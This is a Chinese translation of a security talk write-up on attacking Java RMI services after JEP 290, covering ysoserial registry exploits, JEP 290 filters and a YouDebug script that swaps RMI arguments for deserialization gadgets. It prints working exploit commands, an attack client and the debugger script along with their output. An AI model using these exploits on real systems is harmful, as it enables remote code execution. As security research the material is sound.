JEP 290时代,攻击者是如何攻击Java RMI 服务的
引言:自从进入JEP 290时代之后,利用ysoserial生成的RMI漏洞利用代码就风光不再了。但是,只要系统尚未启用全局过滤器,攻击者就仍然能够在应用程序级别上利用Java反序列化漏洞。在本文中,我们将为读者详细介绍攻击者是如何使用支持脚本编程的调试器YouDebug来动态替换这些方法。
由于Java RMI(远程方法调用)是基于本机Java反序列化特性的,因此,它们成为Java反序列化漏洞的主要受害者之一也就毫不奇怪了。不过,随着当前JDK版本中JEP 290的引入,情况已经悄然发生了变化。在本文中,我们将为读者详细介绍哪些方面出现了变化,以及如何在应用程序级别上通过Java反序列化漏洞利用这些服务。
这篇文章是我在Bsides Munich2019大会上的演讲的扩展,读者可以从我们的GitHub页面获得相应的PPT和示例代码。虽然我们会在本文中对RMI进行简要的回顾,不过,如果读者此前已经熟悉RMI和Java反序列化方面的基本知识的话,在理解文章内容方面肯定会大有帮助。需要说明的是,本文不会介绍建立在RMI之上的JMX,尽管后者是RMI的主要用例之一;相反,我们将在第二篇文章中专门进行介绍。
站在巨人的肩膀上
如果没有其他人的努力,本文将无法与读者见面,因此,这里要特别感谢:
- Chris Frohoff以及ysoserial的所有贡献者
关于ysoserial,它不仅是我在渗透测试(以及撰写本文)的过程中经常使用的一款利器,而且,通过研读其代码,也极大地加深了我对于反序列化漏洞这一主题的理解。
- Moritz Bechler
Moritz不仅提供了许多令人敬畏的payload,而且还为ysoserial贡献了两个与RMI相关的漏洞利用代码。
能够与前雇主Matthias一起工作,我倍感荣幸。在那段时间里,我从Matthias那里学到了很多东西,包括如何使用调试器来分析Java目标。除此之外,他还贡献了我在安全审计期间经常使用的一款gadget:CommonsCollections6。
Nicky Bloor在44con 2016大会上介绍了如何利用Java RMI服务,这对于这篇文章的准备工作起到了很大的帮助。同时,他还开发了一款名为BaRMIe的工具。
RMI基础知识
下面,让我们先为那些没有Java背景的读者简要介绍一下Java RMI。对于其他读者来说,可以跳过这部分内容,直接进入后面的“攻击方法”部分。
Java RMI是分布式对象通信的Java版本,主要用于实现基于客户端/服务器模型的应用程序,如基于Java的Fat客户端程序。与大多数实现一样,Java版本的实现也使用了stub和skeleton对象。为了创建这些stub和skeleton对象,Java要求服务必须定义一个继承自Remote接口的接口。在Bsides大会的演讲中,我实现了一个非常简单的示例服务,它定义了一个如下所示的接口。
package de.mogwailabs.BSidesRMIService;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IBSidesService extendsRemote {
boolean registerTicket(String ticketID) throws RemoteException;
void vistTalk(String talkname) throws RemoteException;
void poke(object attende) throws RemoteException;
}
客户端和服务器必须都知道该接口。虽然客户端将使用自动生成的stub对象,但服务器必须提供接口的实际实现。下面,我们将给出一个最简单的例子。
package de.mogwailabs.BSidesRMIService;
import java.rmi.RemoteException;
import java.rmi.server.Remoteobject;
import java.rmi.server.UnicastRemoteobject;
public class BSidesServiceServerImplextends UnicastRemoteobject implementsIBSidesService {
publicBSidesServiceServerImpl() throws RemoteException {}
publicboolean registerTicket(String ticketID) throws RemoteException {
System.out.println("registerTicketcalled: " + ticketID);
returnfalse;
}
publicvoid vistTalk(String talkname) throws RemoteException {
System.out.println("visitTalkcalled: " + talkname);
}
publicvoid poke(object attende) throws RemoteException {
System.out.println("poking" + attende.toString());
}
}
若要使这个实现可通过网络访问,服务器必须将这个服务实例与RMI命名注册表中的名称绑定到一起。这个注册表的作用类似于电话簿或DNS服务器。服务实例将被注册到特定的名称(在本例中为“bsides”)下面。客户端可以通过查询注册表来获取服务端对象的引用,以及该对象实现的接口。虽然大部分RMI命名注册表都使用默认端口(TCP1099)来提供注册服务,然而,这并非硬性要求,实际上可以使用任意端口。
服务器不仅可以使用现有的命名注册表,也可以启动自己的实例。远程对象的注册是使用“bind”或“rebind”方法完成的。同样,下面给出的是BSides RMI服务最简单的示例。
package de.mogwailabs.BSidesRMIService;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class BSidesServer {
publicstatic void main(String[] args) {
try{
//Create new RMI registry to which we can register
LocateRegistry.createRegistry(1099);
//Make our BSides Server object
//available under the name "bsides"
Naming.bind("bsides",new BSidesServiceServerImpl());
System.out.println("BSidesRMI server is ready");
}catch (Exception e) {
//In case of an error, print the stacktrace
//and bail out
e.printStackTrace();
}
}
}
这些代码是我们在服务器端所需的一切。作为基本测试,我们可以使用nmap来检查该服务是否可以通过网络进行访问。Nmap提供了一个非常有用的“rmi-dumpregistry”脚本,该脚本能够返回注册表中所有服务的概述信息,其中包括:
- 对象注册的名称(“bsides”)
- 对象实现的接口(de.mogwailabs.BsidesRMIService.IBSidesService)
- 用于访问实际skeleton对象的IP/端口(10.165.188.25:43229)
nmap 10.165.188.25 -p 1099 -sVC
Starting Nmap 7.60 ( https://nmap.org ) at2019-03-09 19:26 CET
Nmap scan report for 10.165.188.25
Host is up (0.00028s latency).
PORT STATE SERVICE VERSION
1099/tcp open java-rmi Java RMI Registry
| rmi-dumpregistry:
| bsides
| implements java.rmi.Remote,de.mogwailabs.BSidesRMIService.IBSidesService,
| extends
| java.lang.reflect.Proxy
| fields
| Ljava/lang/reflect/InvocationHandler; h
| java.rmi.server.RemoteobjectInvocationHandler
| @10.165.188.25:43229
| extends
|_ java.rmi.server.Remoteobject
Service detection performed. Please reportany incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scannedin 9.19 seconds
默认情况下,Java会为实际的RMI服务指定随机的端口,这使得Java RMI成为了防火墙管理员的噩梦。如果我们使用nmap扫描上面返回的端口上运行的服务,会发现运行的是“Java RMI”服务,具体如下所示:
nmap 10.165.188.25 -p 43229 -sVC
Starting Nmap 7.60 ( https://nmap.org ) at2019-03-09 19:27 CET
Nmap scan report for 10.165.188.25
Host is up (0.00040s latency).
PORT STATE SERVICE VERSION
43229/tcp open rmiregistry Java RMI
Service detection performed. Please reportany incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scannedin 13.93 seconds
这里是一个最简单的客户端实现。客户端首先连接到RMI命名注册表,并在命名注册表中查询“bsides”服务,然后通过调用接口提供的方法与返回的stub对象进行交互。
package de.mogwailabs.BSidesRMIService;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class BSidesClient {
publicstatic void main(String[] args) {
try{
String serverIP = args[0];
int serverPort = 1099;
//Lookup the remote object that is registered as "bsides"
Registry registry = LocateRegistry.getRegistry(serverIP, serverPort);
IBSidesServiceb sides = (IBSidesService) registry.lookup("bsides");
//calling server side methods...
System.out.println("Callingbsides.registerTicket()");
bsides.registerTicket("123456");
System.out.println("Callingbsides.visitTalk()");
bsides.vistTalk("ExploitingJava RMI services");
}catch (Exception e) {
e.printStackTrace();
}
}
}
如您所见,客户端需要定义接口。在实际应用程序中,客户端还需要用到一些额外的类,例如,如果方法调用以自定义对象作为参数的时候。
如果RMI服务是供某种Fat客户端使用的,我们通常可以在某处(例如在RMI服务器的Web服务上)找到客户端。
在应用程序层面攻击RMI服务
RMI标准本身并没有提供任何形式的身份验证。因此,身份验证通常是在应用程序层面上实现的,例如通过提供可由客户端调用的“login”方法来进行身份认证。这会将安全防护工作转移到(攻击者控制的)客户端,因此,这是一个非常不好的设计。知道服务接口的攻击者可以实现一个自定义的客户端,从而跳过身份验证并直接调用其他方法。在下面的示例中,客户端没有调用registerTicket方法,而是直接访问了服务端的bsides.visitTalk()方法。
package de.mogwailabs.BSidesRMIService;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class BSidesClient {
publicstatic void main(String[] args) {
try{
String serverIP = args[0];
int serverPort = 1099;
//Lookup the remote object that is registered as "bsides"
Registry registry = LocateRegistry.getRegistry(serverIP, serverPort);
IBSidesService bsides = (IBSidesService) registry.lookup("bsides");
//calling server side methods...
//Skip the Ticket registration, as we don't have one
//bsides.registerTicket("123456");
System.out.println("Callingbsides.visitTalk()");
bsides.vistTalk("Exploiting Java RMIservices");
}catch (Exception e) {
e.printStackTrace();
}
}
}
根据目标应用程序的不同,攻击者也可以使用自定义客户端调用其他函数。这在很大程度上取决于远程服务器提供的方法及其所需的参数。
通过Java反序列化漏洞攻击RMI服务(适用于引入JEP 290之前)
由于RMI服务是基于Java反序列化特性的,因此,如果服务的类路径中有可用的gadget的话,则可以利用它们。2016年,安全研究人员Moritz Bechler已经在Ysoserial工具包中添加了两个基于这种思路的漏洞利用程序,证明这种方法是切实有效的。
- RMIRegistryExploit
这个RMI注册表漏洞攻击代码是通过将恶意序列化对象作为参数发送到命名注册表的“bind”方法来实现的。
- JRMPClient
这个JRMP客户端攻击代码的攻击目标是由RMI侦听器实现的远程DGC(Distributed GarbageCollection,分布式垃圾收集器)。它可以攻击任何RMI侦听器,而不仅限于RMI命名注册表。
只要目标上存在有效的gadget链,那么,上面的两个漏洞利用代码运行起来都会非常可靠。RMIRegistryExploit的优点是,它可以打印服务器返回的异常。这可用于验证目标是否在其类路径中存在已经用过的gadget。返回的异常也可以被用来发动攻击,因为ysoserial会对其进行反序列化处理,不过这里先不理会。
下面的示例代码演示了如何使用Groovygadget来攻击Bsides服务的命名注册表。不过,由于Bsides服务的类路径中不存在Groovygadget,因此,这里会返回“class not found”异常。
java -cp ysoserial.jarysoserial.exploit.RMIRegistryExploit 10.165.188.25 1099 Groovy1 "touch/tmp/xxx"
java.rmi.ServerException: RemoteExceptionoccurred in server thread; nested exception is:
java.rmi.UnmarshalException: error unmarshalling arguments; nestedexception is:
java.lang.ClassNotFoundException:org.codehaus.groovy.runtime.ConvertedClosure (no security manager: RMI classloader disabled)
at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:419)
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:267)
at sun.rmi.transport.Transport$2.run(Transport.java:202)
at sun.rmi.transport.Transport$2.run(Transport.java:199)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.Transport.serviceCall(Transport.java:198)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:567)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.access$400(TCPTransport.java:619)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$1.run(TCPTransport.java:684)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$1.run(TCPTransport.java:681)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:681)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
at java.lang.Thread.run(Thread.java:745)
at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:283)
at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:260)
at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:375)
at sun.rmi.registry.RegistryImpl_Stub.bind(RegistryImpl_Stub.java:68)
at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:85)
at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:79)
at ysoserial.secmgr.ExecCheckingSecurityManager.callWrapped(ExecCheckingSecurityManager.java:72)
at ysoserial.exploit.RMIRegistryExploit.exploit(RMIRegistryExploit.java:79)
at ysoserial.exploit.RMIRegistryExploit.main(RMIRegistryExploit.java:73)
Caused by: java.rmi.UnmarshalException: errorunmarshalling arguments; nested exception is:
java.lang.ClassNotFoundException:org.codehaus.groovy.runtime.ConvertedClosure (no security manager: RMI classloader disabled)
不过,同一个示例却能成功地反序列化CommonsCollections6。这是因为将RMI服务与CommonsCollections 3.1捆绑在了一起,因此,这个gadget链能正常工作。
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit10.165.188.25 1099 CommonsCollections6 "touch /tmp/xxx"
java.rmi.ServerException: RemoteExceptionoccurred in server thread; nested exception is:
java.rmi.AccessException: Registry.Registry.bind disallowed; origin/10.165.188.1 is non-local host
atsun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:419)
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:267)
at sun.rmi.transport.Transport$2.run(Transport.java:202)
at sun.rmi.transport.Transport$2.run(Transport.java:199)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.Transport.serviceCall(Transport.java:198)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:567)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.access$400(TCPTransport.java:619)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$1.run(TCPTransport.java:684)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$1.run(TCPTransport.java:681)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:681)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
at java.lang.Thread.run(Thread.java:745)
at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:283)
at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:260)
at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:375)
at sun.rmi.registry.RegistryImpl_Stub.bind(RegistryImpl_Stub.java:68)
at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:85)
at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:79)
at ysoserial.secmgr.ExecCheckingSecurityManager.callWrapped(ExecCheckingSecurityManager.java:72)
at ysoserial.exploit.RMIRegistryExploit.exploit(RMIRegistryExploit.java:79)
at ysoserial.exploit.RMIRegistryExploit.main(RMIRegistryExploit.java:73)
Caused by: java.rmi.AccessException:Registry.Registry.bind disallowed; origin /10.165.188.1 is non-local host
at sun.rmi.registry.RegistryImpl.checkAccess(RegistryImpl.java:257)
JEP 290
为了化解不安全的反序列化所带来的风险,Oracle对Java内核进行了相应的修改。其中,最重要的一些修改是在JavaEnhancement Process(JEP)文档290(简称JEP 290)中所介绍的。JEP是JDK9的一部分,但已被反向移植到了较旧的Java版本中,其中包括:
- Java™ SE Development Kit 8, Update 121 (JDK 8u121)
- Java™ SE Development Kit 7, Update 131 (JDK 7u131)
- Java™ SE Development Kit 6, Update 141 (JDK 6u141)
JEP 290通过向Java添加多个序列化过滤器,引入了前瞻性反序列化的概念。这些筛选器允许进程在反序列化传入的序列化对象流之前对其进行筛选。如果读者想要深入了解这些过滤器的话,可以参阅Red Hat或官方Oracle文档的相关介绍。
过滤器可以定义为模式,也可以通过提供objectInputFilterAPI的实现来进行定义。基于模式的过滤器具有以下优点:您可以在配置文件或命令行中定义它们,因此,无需重新编译应用程序即可对其进行调整。但是,它们也有一些缺点,例如它们无法让我们对象流中的早期类中进行选择。不过,所有过滤器都可以用作白名单或黑名单过滤器。
这里提供了一些基于模式的例子(摘自RedHat文章):
// this matches a specific class andrejects the rest
"jdk.serialFilter=org.example.Vehicle;!*"
//this matches all classes in the package and all subpackages and rejects therest
-"jdk.serialFilter=org.example.**;!*"
// this matches all classes in the packageand rejects the rest
-"jdk.serialFilter=org.example.*;!*"
//this matches any class with the pattern as a prefix
- "jdk.serialFilter=*;
进程级过滤器
顾名思义,该过滤器适合于在每次使用objectInputStream(除非它针对特定流进行了重写)时使用。我们可以将进程级序列化过滤器作为命令行参数(“-Djdk.serialFilter =”)传递,或将其设置为$JAVA_HOME/conf/security/java.security中的系统属性。
虽然可以在白名单的基础上配置进程级过滤器,但这通常很难归档,因为开发人员必须识别应用程序所需的所有类。据Oracle文档称:
通常情况下,进程级过滤器用于拒绝特定的类或包,或限制数组大小、图形深度或图形总大小。
自定义过滤器
可以使用自定义过滤器来重写特定流的进程级过滤器。如果开发人员要从objectInputStream获取对象,并且可以将预期的对象范围缩小到特定的类/包,那么这将非常有用。
自定义过滤器是作为objectInputFilter实例创建的,并且还支持模式。下面给出的自定义过滤器将用作白名单——它只接受de.mogwailabs.Example包中的类,而来自其他包的类,都会被拒绝:
objectInputFilter filesOnlyFilter =objectInputFilter.Config.createFilter("de.mogwailabs.Example;!*");
当涉及到RMI时,自定义过滤器与它的关系不是很直接。RMI服务的开发人员从不调用RMI流上的Readobject,因为这是由Java的RMI实现完成的。
内置过滤器
JDK分别为RMI注册表和RMI分布式垃圾收集器提供了相应的内置过滤器。这两个过滤器都配置为白名单,即只允许反序列化特定类。此外,这两个过滤器对攻击者有直接的影响,因为它们是通过更新的Java版本进行部署的,并且能够干掉Moritz Bechlers提供的RMI漏洞利用代码。
当您通过命名注册表漏洞利用代码攻击运行在实现了JEP290的JDK版本上的注册表服务时,则无论目标的类路径中是否存在gadget,您总会收到相同的错误消息。如果gadget存在的话,则不会对payload对象进行反序列化。
这里有一个例子,攻击目标是使用了Clojuregadget的RMI服务,该服务的运行环境为OpenJDK 10。
java -cp ysoserial.jarysoserial.exploit.RMIRegistryExploit 10.165.188.117 1099 Clojure "touch /tmp/savetest"
java.rmi.ServerException: RemoteExceptionoccurred in server thread; nested exception is:
java.rmi.AccessException: Registry.bind disallowed; origin /10.165.188.1is non-local host
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:391)
at sun.rmi.transport.Transport$1.run(Transport.java:200)
at sun.rmi.transport.Transport$1.run(Transport.java:197)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:562)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:796)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:677)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:676)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1135)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:844)
at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:283)
at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:260)
at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:375)
at sun.rmi.registry.RegistryImpl_Stub.bind(RegistryImpl_Stub.java:68)
at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:77)
at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:71)
at ysoserial.secmgr.ExecCheckingSecurityManager.callWrapped(ExecCheckingSecurityManager.java:72)
at ysoserial.exploit.RMIRegistryExploit.exploit(RMIRegistryExploit.java:71)
at ysoserial.exploit.RMIRegistryExploit.main(RMIRegistryExploit.java:65)
Caused by: java.rmi.AccessException:Registry.bind disallowed; origin /10.165.188.1 is non-local host
at sun.rmi.registry.RegistryImpl.checkAccess(RegistryImpl.java:358)
at sun.rmi.registry.RegistryImpl_Skel.dispatch(RegistryImpl_Skel.java:69)
at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:467)
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:297)
at sun.rmi.transport.Transport$1.run(Transport.java:200)
at sun.rmi.transport.Transport$1.run(Transport.java:197)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:562)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:796)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:677)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:676)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1135)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:844)
通过RMI检测JEP 290服务
利用内置RMI过滤器被设计为白名单过滤器这一情况,我们可以远程检测JEP 290。例如,攻击者可以只传递服务器端不存在的随机对象/payload,然后分析返回的堆栈跟踪信息。
如果攻击者确信目标能够解析外部DNS名称,还可以尝试使用ysoserial中的URLDNS gadget。这个gadget在所有Java版本中均可用,它能让服务器解析DNS名称。
由于gadget数量有限,检测JEP 290安装对攻击者的作用有限。不过,他们也可以使用蛮力攻击——直接遍历所有可用的gadget,以此来对付攻击目标。然而,这也为防御者提供了一种很好的“远程”方式来检测他们是否有使用了过时Java版本的RMI服务。
在应用程序级别上利用反序列化漏洞
虽然现在无法直接利用RMI注册表或DGC中的Java反序列化漏洞了,但只要未设置进程级过滤器,攻击者仍然可以在应用程序级别上利用这些漏洞。对于攻击者来说,“最佳情况”就是能够向服务器的方法传递任意对象。就Bsides RMI服务来说,就是可以使用“poke”方法:
void poke(object attende) throws RemoteException;
同样,有权访问该接口的攻击者还可以编写自定义的客户端。这样的话,攻击者可以使用ysoserial中的代码创建恶意Java对象,然后通过调用“poke”方法将其传递给服务器:
package de.mogwailabs.BSidesRMIService;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import ysoserial.payloads.CommonsCollections6;
public class AttackClient {
public static void main(String[] args) {
try{
String serverIP = args[0];
int serverPort = 1099;
//Lookup the remote object that is registered as "bsides"
Registry registry = LocateRegistry.getRegistry(serverIP, serverPort);
IBSidesService bsides = (IBSidesService) registry.lookup("bsides");
//create the malicious object via ysososerial
objectpayload = new CommonsCollections6().getobject(args[2]);
//pass it to the target by calling the Poke method
bsides.poke(payload);
}catch (Exception e) {
e.printStackTrace();
}
}
}
这种情况的真实场景是CVE-2018-4939,这是由Nicky Bloor在Adobe ColdFusion的RMI服务中发现的一个漏洞。他还对该漏洞提供了详细的介绍。另一个例子是Spring framework RmiInvocationHandler,它可以将任意对象传递给RemoteInvocation类。
“绕过”安全防御措施
不幸的是,大多数接口都没有提供接受任意对象作为参数的方法。大多数方法只接受本机类型,如Integer、Long或类实例。在后一种情况下,由于在服务器端实现RMI的方式存在问题,导致攻击者实际上可以绕过该限制:
当RMI客户端调用服务器上的方法时,为了从object输入流中读取方法参数,需要调用sun.rmi.server.UnicastServerRef.dispatch中的"marshalValue"方法。
// unmarshal parameters
Class<?>[] types =method.getParameterTypes();
object[] params = new object[types.length];
try {
unmarshalCustomCallData(in);
for (int i = 0; i < types.length; i++) {
params[i] = unmarshalValue(types[i], in);
}
下面是“unmarshalValue”的实际代码(摘自“sun.rmi.server.UnicastRef”)。根据预期的参数类型,该方法会从对象流中读取相应的值。如果我们不处理类似Integer这样的原始类型的话,则会调用readobject()方法,这就为利用Java反序列化漏洞提供了条件。
/**
* Unmarshal value from an objectInput source using RMI's serialization
* format for parameters or return values.
*/
protected static object unmarshalValue(Class<?> type, objectInputin)
throws IOException, ClassNotFoundException
{
if (type.isPrimitive()) {
if (type == int.class) {
return Integer.valueOf(in.readInt());
} else if (type == boolean.class) {
return Boolean.valueOf(in.readBoolean());
} else if (type == byte.class) {
return Byte.valueOf(in.readByte());
} else if (type == char.class) {
return Character.valueOf(in.readChar());
} else if (type == short.class) {
return Short.valueOf(in.readShort());
} else if (type == long.class) {
return Long.valueOf(in.readLong());
} else if (type == float.class) {
returnFloat.valueOf(in.readFloat());
} else if (type == double.class) {
return Double.valueOf(in.readDouble());
} else {
throw new Error("Unrecognizedprimitive type: " + type);
}
} else {
return in.readobject();
}
}
由于攻击者可以完全控制客户端,因此,他们可以使用恶意对象替换从object类派生的参数(例如String)。具体方法有以下几种:
- 将java.rmi包的代码复制到新包,并在新包中修改相应的代码
- 将调试器附加到正在运行的客户端,并在序列化之前替换这些对象
- 使用诸如Javassist这样的工具修改字节码
- 通过实现代理替换网络流上已经序列化的对象
Nicky Bloor在编写BaRMIe攻击工具包时采用了最后一种方法。BaRMIe提供了一个“攻击代理”类,可用于拦截网络级别的RMI调用并通过搜索/替换来注入ysoserial gadget。虽然这种方法的确有效,但也存在一些缺点:
- Java序列化协议非常复杂,因此很难做到“仅替换”对象。根据序列化对象的不同,有时可能需要更新gadget或网络流中的其他引用,因此,很容易出错。
- BaRMie使用了一组“硬编码的”ysoserial gadget,这些gadget被存储为预序列化对象。因此,我们无法直接使用由ysoserial生成的Gadget。此外,添加新gadget也不是一件容易的事情。我们在MOGWAILABS内部使用的ysoserial是一个定制版本,我们希望在攻击过程中让它派上用场。
因此,我决定寻找其他方法来解决这个问题。当我与MatthiasKaiser讨论这个问题时,他指出Eclipse(以及所有其他Java IDE)使用了Java调试接口(JDI)。
YouDebug
在寻找JDI代码样本时,我偶然发现了Jenkins项目的创建者Kohsuke Kawaguchi编写的YouDebug。YouDebug为JDI提供了一个Groovy包装器,因此,可以借此轻松编写脚本。实际上,YouDebug的用法与Frida等其他DI框架非常相似。与此同时,YouDebug还提供了许多有趣的用例,如果读者经常进行渗透测试的话,不妨将其纳入自己的工具箱中。
现在,我们已经有了一个支持脚本编程的调试器,接下来,我们需要在客户端中的方法中设置一个断点来拦截通信。为此,我们可以使用来自“java.rmi.server.RemoteobjectInvocationHandler”类中的“invokeRemoteMethod”方法。顾名思义,该方法负责在服务器上调用方法,并将接收的方法参数作为对象数组处理。
/**
* Handles remote methods.
private object invokeRemoteMethod(object proxy,
Methodmethod,
object[]args)
throws Exception
{
try {
if (!(proxy instanceof Remote)) {
throw newIllegalArgumentException(
"proxy not Remoteinstance");
}
return ref.invoke((Remote) proxy, method, args,
getMethodHash(method));
} catch (Exception e) {
if (!(e instanceof RuntimeException)) {
Class<?> cl =proxy.getClass();
try {
method =cl.getMethod(method.getName(),
method.getParameterTypes());
} catch (NoSuchMethodExceptionnsme) {
throw(IllegalArgumentException)
newIllegalArgumentException().initCause(nsme);
}
Class<?> thrownType =e.getClass();
for (Class<?>declaredType : method.getExceptionTypes()) {
if(declaredType.isAssignableFrom(thrownType)) {
throw e;
}
}
e = new UnexpectedException("unexpectedexception", e);
}
throw e;
}
}
在我们的示例中,我们希望在客户端序列化之前替换传递给RMI调用的参数。为此,我们可以通过下列方式实现这一目的:
- 确保调试对象加载了我们要使用的ysoserial gadget类
- 在“java.rmi.server.RemoteobjectInvocationHandler.invokeMethod”的第一行设置断点
- 在调试对象中创建ysoserial gadget的对象实例
- 检查第三个方法参数中的数组
- 如果其中含有基于类的对象的实例(例如String),就将该参数替换为我们的gadget。
如前所述,我们可以借助YouDebug轻松完成这个任务,只需几行代码即可搞定。以下示例脚本会搜索含有“needle”字符串的参数,并将该对象替换为ysoserial gadget。但是,可以使用任何接受对象作为其参数的方法,而不仅仅是接受字符串作为其参数的方法。
// Unfortunately, YouDebug does not allowto pass arguments to the sc ript
// you can change the important parametershere
def payloadName ="CommonsCollections6";
def payloadCommand = "touch/tmp/pwn3d_by_barmitzwa";
def needle = "12345"
println "Loaded..."
// set a breakpoint at"invokeRemoteMethod", search the passed argument for a String object
// that contains needle. If found, replacethe object with the generated payload
vm.methodEntryBreakpoint("java.rmi.server.RemoteobjectInvocationHandler","invokeRemoteMethod") {
println "[+]java.rmi.server.RemoteobjectInvocationHandler.invokeRemoteMethod() iscalled"
//make sure that the payload class is loaded by the classloader of the debugee
vm.loadClass("ysoserial.payloads." + payloadName);
//get the Array of objects that were passed as Arguments
delegate."@2".eachWithIndex { arg,idx ->
println "[+] Argument " + idx + ": " +arg[0].toString();
if(arg[0].toString().contains(needle)) {
println "[+] Needle " + needle + " found, replacingString with payload"
//Create a new instance of the ysoserial payload in the debuggee
def payload = vm._new("ysoserial.payloads." + payloadName);
def payloadobject = payload.getobject(payloadCommand)
vm.ref("java.lang.reflect.Array").set(delegate."@2",idx,payloadobject);
println "[+] Done.."
}
}
}
为了使一切正常工作,我们必须对客户端稍作修改:
将ysoserial.jar添加到客户端类路径
由于YouDebug脚本会在客户端中为ysoserial gadget新建一个实例,因此,客户端必须知道这些类的路径。如果客户端包含“lib”文件夹,通常只需将ysoserial.jar复制到该文件夹即可。当客户端启动时,也可以使用“-cp”参数来修改类路径:
-cp "./libs/*"
启用远程调试支持
客户端启动时必须启用远程调试支持。为此,可以向启动客户端的java命令添加以下参数:
-agentlib:jdwp=transport=dt_socket,server=y,address=127.0.0.1:8000
下面是用于我的演示客户端的完整java命令(我已经将所有jar文件放到“libs”目录中)。之后,该客户端会等待您使用YouDebug脚本连接到端口8000。
java -agentlib:jdwp=transport=dt_socket,server=y,address=127.0.0.1:8000-cp "./libs/*" de.mogwailabs.BSidesRMIService.BSidesClient10.165.188.117
Listening for transport dt_socket ataddress: 8000
下面是这个YouDebug脚本的输出内容。这里我们将其称为barmitzwa.groovy
java -jar youdebug-1.5.jar -socket127.0.0.1:8000 barmitzwa.groovy
Loaded...
[+]java.rmi.server.RemoteobjectInvocationHandler.invokeRemoteMethod() is called
[+] Argument 0: 123456
[+] Needle 12345 found, replacing Stringwith payload
[+] Done..
替换对象时,客户端会打印服务器返回的“argumenttype exception”消息——这些都在外面的预料之中。抛出异常时,我们的恶意代码已在服务器端被反序列化:
java -agentlib:jdwp=transport=dt_socket,server=y,address=127.0.0.1:8000-cp "./libs/*" de.mogwailabs.BSidesRMIService.BSidesClient10.165.188.117
Listening for transport dt_socket ataddress: 8000
Calling bsides.register()
java.lang.IllegalArgumentException:argument type mismatch
